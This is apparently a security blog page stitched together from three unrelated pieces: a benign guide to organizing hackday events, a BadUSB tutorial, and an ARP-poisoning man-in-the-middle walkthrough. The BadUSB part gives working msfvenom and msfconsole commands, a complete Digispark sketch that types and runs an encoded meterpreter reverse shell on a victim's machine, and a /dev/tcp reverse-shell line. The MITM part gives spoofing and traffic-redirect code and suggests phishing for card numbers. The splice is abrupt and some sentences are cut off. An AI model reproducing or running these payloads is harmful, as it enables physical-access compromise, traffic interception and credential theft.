Hackday (not to be confused with ‘hackathon’ events) is a live event where a group or groups of hackers do security testing to some target (i.e. hack the target). Usually the target is a web application or for example some IoT device. The event may last from one day to a few days. It is common that the organizer will pay bounties for the security vulnerabilities reported by the participants. Organizer(s) can coax hackers to participate with some amazing swag, bounties or other prices that can be won in the event. Bigger the prices, the more hackers will want to join and more experienced hackers will be participating.

The usual flow of the event will be; registering of participants, informational meetup to all, hacking and reporting of vulnerabilities, end meetup and some networking at the end.

This document aims to guide organizers to create and amazing hacking event so everyone participating will have amazing time! Organizer will get the target tested for vulnerabilities and will get good PR from the event.

Target(s)

• If possible, use a testing/staging environment for the Hackday, with extended logging to catch more data in case errors occur (and to avoid causing trouble in Production).
• Permitting hackers to access the log data can help them to dig up issues that lie deep in the application.
• Define the scope of the target in detail. This is hugely important for fair game and equal opportunity for all the teams. And also to safeguard production systems from being hammered.
• Benchmark the system for heavy loads (e.g high amount of requests/queries). Testing can impact availability especially when multiple teams are trying to break it simultaneously.
• In some cases it can be beneficial to allow reconnaissance and testing prior to the event for more value from the event itself, at the risk of low volume of reports in the event itself.
• Prepare user specific or at least team specific set of credentials for the target system. If the permission system is multi-tiered, create at least one user for each user role for each of the testers or teams. Two separate user accounts are necessary for testing certain issues.
• Consider disabling or limiting the use of external security controls such as WAF (Web Application Firewalls) and/or IPS (Intrusion Prevention Systems). This allows the teams to spend time more efficiently on finding vulnerabilities rather than trying to bypass the controls, which can be bypassed by a motivated attacker in the production anyway.

Facilities

• Prepare a room for each of the teams. This will allow the testers to openly communicate about the application and potential vulnerabilities without having to worry about the competing team overhearing the strategy.
• Connectivity options for wired and wireless networks in case one of the options is suffering poor availability.
• Reserve some snacks, refreshing beverages and arrange a quick lunch/dinner depending on the length of the event.

Rewards

• When announcing the event, include what kind of bounties will be available and if monetary, how much is reserved and how it will be paid out to the hackers. This will be the main attraction for many great hackers.
• Explain how you’ll be paying the bounties, whether it is by vulnerability type or by points earned from reporting the vulnerabilities.
• Preferably pay bounties based on business impact instead of vulnerability types. Bug Bounty programs are a great way to find the necessary details.
• If possible, reward each attending hacker/team regardless of their possible findings. This will help hackers cut their travel expenses and motivate them to to try harder next time. The reward can also be some kind of tech gift that is appealing to technically oriented people.
• Prepare the Swag! (great publicity for the company)
  • Stickers/T-Shirts/Hoodies/Backpacks/other

Acknowledgement

• Give warm thanks to your friendly neighborhood hackers. They spend hours travelling to your event to help you secure the target system and to challenge themselves while doing so.
• Don’t underestimate the public “thank you!”. Praise the teams in social media (or other), they will be grateful for it!
• Decide if the best finding/most vulnerabilities/most severe/etc vulnerability will be awarded somehow. This could also increase competitiveness between groups and at least give positive feeling of appreciation to winning group / person.
• Engage in one on one conversations with the participants to establish rapport.

Rules and Reporting

• Non-Disclosure Agreement (reasonable terms).
• Rules
  • Define what happens if a group breaks the rules, e.g. going out-of-scope, disturb other groups, unethical behaviour in the event etc.
  • Out-Of-Scope vulnerabilities should be accepted, but only as informational vulnerabilities in the event and without any points. More value for the money.
  • Malicious intent should be defined in the agreement.
  • Rules, non-disclosure agreements etc. documentation should preferably be sent beforehand for the participants to read.
  • Remember to inform that participants can not share information about the vulnerabilities publicly (or they may lose the bounty for that vulnerability).
• You should define what kind of vulnerability reports will not be rewarded.
• When and how will bounties be paid.
• Ask for consent before unleashing your media team on hackers for surprise photoshoots.
• Allow teams to see reported vulnerabilities (at least the subject of each report) so hackers know not to spend time on duplicate vulnerabilities that will be disqualified.
• Explain what is and what isn’t a duplicate report to avoid confusion.
• Require a definition of impact and a working POC (Proof of Concept) for each reported vulnerability so that the issue is easily reproduced.
• Consider if you want to ban or limit the use of automated scanners. They can help find vulnerabilities but can also negatively affect the system and event by generating excessive amount of traffic.
• Inform teams that all confidential material such as vulnerability details should be removed from hacker’s devices before leaving the event.
• Be prepared to make judgement and decisions swiftly on the spot. Have a clear jury/judge who can make decisions.

Schedule

• Time used to test the target application will of course affect the test coverage. In general, minimum of eight (8) hours should be reserved for testing.
• At the start of the event, go through the rules and specify what is in scope.

Other

• Identify (drivers license or other) each attending hacker.
• Collect bank account details (if applies) for bounty payments.
• Prepare a reporting platform for handling vulnerability reports.
• Consider allowing internet access to hackers so they can access more resources (e.g ad-hoc research).
• It is recommended to have technically inclined staff (developers) and a product owner on site to answer questions and help the jury evaluating vulnerability impact.
• The event must have jury which will decide and evaluate severity and impact of each vulnerability and the possible bounty sum.
• Assist students and/or newbies by guiding them and getting them to know “seniors”. Attract more experienced hackers to teach the juniors with some small reward.
• When the event ends, kill the connections to the target, this way you can be sure that no one tests anymore.

Here is a small guide on how to create a BadUSB – stick with a meterpreter payload to Linux. BadUSB can be a normal USB memory stick with a customized firmware that’ll have the computer to recognize the device as a keyboard. Because of this, the computer thinks that there’s always a user typing on the keyboard, which is a pretty nasty exploit and enablse a lot of possibilities. For example, with physical access to the victims computer you can do following things with BadUSB:

• Inject malware
• Steal passwords
• Delete files
• etc…whatever you can do with a keyboard, a BadUSB can do also.

Of course, you could buy a Rubber Ducky from Hak5 , but you’d miss all the fun tinkering with cool things. This guide is made for Digispark from Digistump.
Digispark can be programmed so that when the computer accepts it as a keyboard, it starts to send key presses to computer. Since Digispark has only 8Kb (6Kb of programmable space after bootloader), options are somewhat limited, but should be more than enough for most purposes and it’s also possible to circumvent the space limit.

0x00 Pre-requisities:

• Digispark , a low cost (~8$ at the time of writing this) USB development board
• Arduino-IDE (install guide here)
• Kali – Linux

0x01 Install Arduino-IDE

Since the installation guide is excellent in the digistump.com site, I will not even try to recreate them in detail here. Configure Arduino-IDE by these instructions.
Just make sure you have added following URL to “Additional Boards Manager URLs:” (File -> Preferences):

http://digistump.com/package_digistump_index.json

Also, install “Digistump AVR Boards by Digistump” via Boards manager (Tools -> Boards -> Boards Manager)…

And select “Digispark (Default – 16.5mhz)” as a board.
Arduino-IDE should now be good to go.

0x02 Generating a meterpreter payload

Generation of the payload is pretty straightforward. It’s generated with “msfvenom” as follows.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.8 LPORT=880 -f elf > mShell_880

Of course, LPORT and the LHOST should be changed to match your IP-addresses. LHOST should be the Kali box where the metasploit handler is waiting for the connection back from the victim and LPORT is the port you want to use. The output of the msfvenom is directed to file called ‘mShell_880‘. The output of the executable payload is only 155 bytes, so we have plenty of space left.
Since the payload is “typed” to victim, it has to be Base64 encoded, so we can “input” it to victim and generate the executable payload. Basically, what we want to do, is to echo the Base64 string and decode it and direct the output to a file, change the executable bit for the file and run the payload.
Base64 encoding is done as follows:

base64 mShell_880 > mShell_880.b64

“mShell_880.b64” – file now holds our payload encoded in Base64. We can use this string in our program that outputs it to victims terminal.

0x03 Programming with Arduino-IDE

The program is very simple and straightforward. I commented the program below, so it should be very clear what is done. On default, it works only with US – keyboard layout, but it’s possible to remap the keyboard layout from “DigiKeyboard.h” – file. Since this is for PoC only, I don’t include any other layouts in this post. Sorry

/*
* Works with US - keyboard layout only, because of testing purposes.
*
* 1. Send super key ('Windows key') to bring up the search
* 2. input 'terminal' and send enter
* 3. Send our binary payload via base64 encoded string, decode it and output to file
* 4. Change executable bit for the payload and execute it.
* 5. Enjoy.
*/
#include "DigiKeyboard.h"
void setup() {
// LED on.
pinMode(1, OUTPUT);
delay(200);
// Super, delete content
// Start to inject payload, turn the LED on
digitalWrite(1, HIGH);
DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean
delay(200);
DigiKeyboard.sendKeyStroke(0,MOD_GUI_LEFT); // Super key, open 'search'
delay(300);
DigiKeyboard.print("terminal"); // Program to run
delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER,0);
// Delay for 1 second, if terminal is not opened, part of the string below is wasted to /dev/null
delay(1000);
// Send our payload
DigiKeyboard.print("echo");
DigiKeyboard.sendKeyStroke(KEY_SPACE);
DigiKeyboard.print("f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1toCgAACGgCAANwieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E= | base64 --decode > /tmp/mShell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(500);
// Change the permissions for the file...
DigiKeyboard.println("chmod 755 /tmp/mShell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(200);
// ...and execute it
DigiKeyboard.println("/tmp/mShell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(100);
// Payload executed!
digitalWrite(1, LOW);
}
void loop() {
// When scripts are done, blink some LED like it's 19
digitalWrite(1, HIGH);
delay(200);
digitalWrite(1, LOW);
delay(300);
}

Now, it’s possible to check the code for errors from Arduino-IDE by clicking “Sketch => Verify/Compile” (or by pressing CTRL + R on the Arduino-IDE). If no errors found, the program is ready to be uploaded to Digispark by first clicking “Sketch => Upload” (or by pressing CTRL + U on the Arduino IDE) and you should get a following info on the bottom of the IDE window.

Now the Digispark can be inserted to a USB port on the computer. After a while, the update should go through and you should see following info.

The programming of the Digispark is now ready and it now is a ‘BadUSB’.
Note: I had some problems with the uploading. Sometimes it takes a few tries to get a succesful program upload to Digispark, don’t yet know why..

0x04 Metasploit, multi/handler

Now multi/handler is setup to catch the meterpreter shell. Payload is “linux/x86/meterpreter/reverse_tcp“, since the generated payload
The whole point of this is guide is to demonstrate how dangerous it is to plug in USB sticks. Keep in mind that normal USB stick firmwares can also be reprogrammed like this and it doesn’t necessary help that they are formatted.
multi/handler can simply be setup from the terminal with following command:

msfconsole -x "use multi/handler;\
set PAYLOAD linux/x86/meterpreter/reverse_tcp;\
set LHOST 10.0.0.8;\
set LPORT 880;\
set AutoRunScript multi_console_command -rc /root/autoruncommands.rc
exploit"

0x05 The Exploitation

Now we are ready to test the BadUSB we have just created. When the Digispark / BadUSB is now inserted to linux computer, it should open the dashboard/search, open terminal, echo the Base64 encoded payload and decode it to file, change the executable bit for the payload file and run it. When the payload is run, multi/handler gets the shell. Here is a video recorded when the Digispark / BadUSB is inserted in to the linux computer. In the image above, you can see both LEDs from the Digispark are lighted, when the payload on the Digispark is executed.
Top right corner: syslog from ‘victim’, it’s visible when the BadUSB / Digispark is plugged in
Lower right corner: multi/handler from attacking server

0x06 Mitigation

As for mitigation, for Windows, there is a program called ‘Beamgun‘ (haven’t tested it yet). Of course as for Windows, Linux, OSX you could always disable USB ports, create scripts that prevent adding new hardware etc., but if you really need USB devices, that would be pretty cumbersome in the long run. And of course…don’t plug untrusted devices to your computer and don’t let anybody plug unknown USB devices to your computer. There is also a physical, small box called ‘USBguard‘ (also not tested in this experiment), that should block these kinds of attacks.

0x07 Conclusion

BadUSB stick could also be created with a normal USB drive (e.g. ‘Rubber ducky’ from Hak5) and this shows how bad effects plugging ‘found’ USB stick can have. Payload could also be something more nasty, e.g. wipe the whole drive from the computer.
It’s also possible to create payloads for Windows and OSX. For OSX, you can get a shell using for example following payload after you have launched a shell:

DigiKeyboard.print("/bin/bash -i > /dev/tcp/10.0.0.8/880 0<&1 2>1");

I’ll post example codes for Windows and OSX also when I have time to tinker some more.

(Original article: https://www.vesiluoma.com/exploiting-with-badusb-meterpreter-digispark/ )

Quiz

RotMiTM/RotMiTM.py
def startupQuiz(self):

After firing up the script, you need to define which interface you’re going to use for poisoning, which is the victims IP address and the gateway IP, which usually is the nearest router or firewall.
The script will assume some of the targets, but better fill them in according to your use case.

Poison()

RotMiTM/RotMiTM.py
def poison(self, victimIP, victimMAC, gatewayIP, gatewayMAC):
  send(ARP(op = 2, pdst = victimIP, psrc = gatewayIP, hwdst = victimMAC))

How ARP Poisoning works, is that you broadcast malicious ARP Packets to your Layer 2 Network .
Basically, a device broadcasts to the network a packet asking “Who has this IP address” and to that question, the device that really does have that IP address sort of broadcasts into the network saying “its me”.
What we do here is we also say “its me”, which will override the legit response meaning that now the device thinks that we’re actually the gateway.
In order to make this bi-directional, we also need to poison the way back to the client, and we do.

Rot()

def rot(self,victimIP, gatewayIP, interface):
    while 1:
        self.poison(victimIP, victimMAC, gatewayIP, gatewayMAC)

In order to maintain the decomposing state of the network, we continue broadcasting the malicious ARP packets over and over again.
Below you can see it in action. Make note that both the “gateway” and the victim have the same MAC address (c4:85:08:8b:94:67) which actually is the MAC address of the attacker, which is us.

It’s alive!

So now, the Frankenstein has been awakened, and the network is ours.
By utilizing tcpdump we can inspect and verify that indeed, the traffic is going through us.

In the above example, we can see a HTTP GET request to j3k.fi.
So now that we’re the man in the middle, we want to intercept the request before its going to where its supposed to.
For that we need to redirect traffic with iptables to our proxy of choice, which is Burp Suite in this case.

RotMiTM/rot_mitm.py
  http="iptables -t nat -A PREROUTING -i "+interface+" -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080"
  https="iptables -t nat -A PREROUTING -i "+interface+" -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8080"
  os.system(http)
  os.system(https)

Setting up Burp

This tool is excellent as is and very expandable by so many public modules for pretty much anything that concerns testing web applications.

To get started, you need to configure Burp proxy to listen the port defined in the iptables redirect. Port TCP/8080.
Also, be sure to enable the invisible proxy setting, as it is vital for this to work.
Now, Burp Suite will be able to intercept the requests and we can start modifying them.
For this demo, we added a Hostname Resolution for j3k.fi to point to 127.0.0.1, where our malicious python flask web server is located.

Genie in a bottle

RotMiTM/flaskserver.py
def CustomResponse():

What I mean by Genie, is  a hacker using Python Flask.
We are using a flask server to return HTTP Code 200 and some HTML code, more on this below..
With Python Flask, you can create an adhoc HTTP server to do basically whatever you want, as it is a Python framework, its just a matter of what you can or want do with it..

Back to Burp, capture and modify

On the mobile device, we browse to https://j3k.fi/ and what happens here is that our MiTM box, intercepts the request, replaces the real IP address of j3k.fi with what was defined in the Hostname Resolution setting in Burp Suite.
So now, the victim assumes that whatever response he gets, will be originating from real j3k.fi, when it really isn’t…

Voilà, we’ve now successfully sent the victim a messagebox saying ‘XSS’.
Hardly exciting huh?
Feel free to replace that HTML/JavaScript with some that is more targeted, like a phishing site or a network login form asking for Hotel Room number, credit card numbers etc..

Cure()

RotMiTM/RotMiTM.py
def cure(self,victimIP, victimMAC, gatewayIP, gatewayMAC):

Logout
J3k, hacker.